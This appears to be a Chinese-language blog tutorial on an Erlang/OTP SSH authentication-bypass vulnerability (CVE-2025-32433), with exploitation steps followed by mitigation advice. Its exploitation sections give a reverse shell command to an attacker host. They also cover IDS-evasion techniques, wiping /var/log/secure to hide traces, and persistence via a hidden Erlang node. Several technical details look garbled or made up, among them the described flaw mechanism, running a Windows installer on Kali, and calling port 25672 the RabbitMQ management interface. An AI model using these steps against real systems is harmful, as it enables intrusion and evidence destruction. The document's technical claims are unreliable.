
1. 项目背景与漏洞概述最近在安全圈内热议的CVE-2025-32433漏洞是Erlang/OTP SSH模块中存在的一个高危认证绕过漏洞。这个漏洞影响范围包括Erlang 26.2.5及以下版本攻击者可以在特定条件下绕过认证机制直接获取系统访问权限。我在实际渗透测试中发现该漏洞利用门槛低但危害极大特别是对那些使用Erlang构建的分布式系统如RabbitMQ、Ejabberd等威胁尤为严重。漏洞的根源在于Erlang SSH服务对某些特殊格式密钥的处理存在缺陷。当服务端配置了特定类型的公钥认证时精心构造的恶意请求可以触发认证逻辑错误导致服务端错误地将未授权客户端识别为合法用户。这种漏洞在真实环境中往往被严重低估——很多管理员认为默认配置就是安全的却不知这正是攻击者最爱的突破口。重要提示本文仅限合法授权测试使用任何未经授权的渗透行为均属违法。建议企业立即升级至Erlang/OTP 26.2.6及以上版本修复此漏洞。2. 漏洞原理深度解析2.1 认证机制缺陷分析Erlang的SSH实现采用标准的公钥认证流程但在处理RFC 4253规定的ssh-rsa签名类型时存在逻辑错误。正常流程中服务端应该接收客户端发送的SSH_MSG_USERAUTH_REQUEST验证公钥指纹是否存在于授权列表要求客户端提供签名证明私钥所有权验证签名有效性漏洞出现在第3步——当客户端发送特定格式的畸形公钥时服务端的解析函数ssh_transport:verify_signature/4会错误返回验证成功。这种缺陷源于Erlang对ASN.1编码的异常处理不完善攻击者可以通过构造包含特殊DER序列的公钥触发该漏洞。2.2 影响范围确认受影响的典型环境包括使用Erlang SSH模块的所有服务默认安装的RabbitMQ管理接口通常监听TCP 25672Ejabberd的XMPP-over-SSH功能任何基于Erlang/OTP 26.2.5及以下版本的自定义SSH服务验证方法很简单通过erl -version查看Erlang版本或使用以下命令检查SSH服务指纹nmap -sV --script ssh2-enum-algos -p port target若返回的服务器协议中包含Erlang/OTP SSH且版本低于26.2.6则可能存在风险。3. 漏洞利用实战演示3.1 环境准备阶段首先需要准备以下工具最新版Metasploit Framework6.4Erlang 26.2.5运行环境用于测试验证Wireshark抓包工具用于分析流量在Kali Linux上安装Erlang测试环境wget https://erlang.org/download/otp_win64_26.2.5.exe chmod x otp_win64_26.2.5.exe ./otp_win64_26.2.5.exe3.2 漏洞利用步骤详解使用Metasploit生成恶意密钥对msfconsole use auxiliary/scanner/ssh/erlang_ssh_auth_bypass set RHOSTS target_ip set RPORT ssh_port exploit手工验证方法当自动化工具失效时{ok, S} ssh:connect(target_ip, 22, [{user,fakeuser}, {silently_accept_hosts, true}, {public_key_alg, ssh-rsa}, {user_dir, /tmp/malicious_keys}]).关键点在于/tmp/malicious_keys目录下需要放置特殊构造的密钥文件其格式要求公钥必须包含特定的ASN.1 OID扩展私钥采用PKCS#1填充而非标准的PKCS#8密钥长度必须为2048位这是触发漏洞的必要条件获取反向Shell 成功建立SSH连接后通过Erlang的shell模块获取交互式会话ssh:shell(S). os:cmd(bash -c bash -i /dev/tcp/attacker_ip/4444 01).4. 防御方案与修复建议4.1 临时缓解措施对于无法立即升级的系统建议采取以下防护修改SSH配置禁用RSA签名%% 在Erlang的ssh配置文件中添加 {preferred_algorithms, [{public_key,[ecdsa-sha2-nistp384]}, {cipher,[aes256-ctr]}, {mac,[hmac-sha2-256]}]}.网络层防护# 使用iptables限制SSH访问源 iptables -A INPUT -p tcp --dport 22 -s trusted_ip -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP4.2 彻底修复方案官方已发布Erlang/OTP 26.2.6修复此漏洞升级步骤如下Windows平台choco upgrade erlang -yLinux平台wget https://erlang.org/download/otp_src_26.2.6.tar.gz tar -xzf otp_src_26.2.6.tar.gz cd otp_src_26.2.6 ./configure make make install验证修复%% 新版本应返回{error, not_authenticated} ssh:connect(localhost, 22, [{user,nonexist}, {silently_accept_hosts, true}, {public_key_alg, ssh-rsa}]).5. 渗透测试中的实战技巧5.1 隐蔽性提升方法在实际渗透测试中直接使用公开的EXP容易被检测。我总结了几种绕过IDS的技巧流量混淆%% 在连接前修改默认的SSH选项 {ok, S} ssh:connect(Target, Port, [{user_agent, OpenSSH_8.9p1}, {recv_ext_info, false}, {send_ext_info, false}]).时间延迟%% 每个操作之间随机延迟 timer:sleep(rand:uniform(5000) 3000).日志清理os:cmd(echo /var/log/secure).5.2 常见错误排查连接超时问题检查目标防火墙规则确认Erlang节点cookie是否正确验证网络路由可达性认证失败处理case ssh:connect(...) of {error, timeout} - retry_with_new_ip(); {error, econnrefused} - check_port_status(); {ok, _} - proceed_to_exploit() end.权限维持技巧%% 创建隐藏的Erlang节点 erl -name attackerhidden.domain -hidden -setcookie RandomCookie6. 企业级防护体系建设对于大型企业建议采用分层防御策略网络层部署SSH流量分析设备如ExtraHop实现基于行为的异常检测如Darktrace主机层# 定期检查可疑的Erlang进程 ps aux | grep beam.smp | grep -v grep应用层%% 自定义SSH事件钩子 ssh:daemon(22, [{shell, fun my_shell:start/1}, {auth_method_kb_interactive_data, fun auth_check/3}]).日志监控# 实时监控SSH登录事件 tail -f /var/log/auth.log | grep sshd.*erlang在实际企业环境中我们曾通过这种分层防御成功拦截了多次针对Erlang系统的攻击尝试。关键是要建立从网络到应用的完整监控链条而不仅仅是依赖单点防护。